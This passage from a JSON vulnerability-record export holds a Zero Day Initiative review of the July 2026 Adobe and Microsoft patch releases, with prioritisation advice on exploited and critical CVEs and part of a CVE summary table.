anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:02:35.769278Z"}, {"uuid": "3cf863e9-c110-4f3b-8e18-c317d080b369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  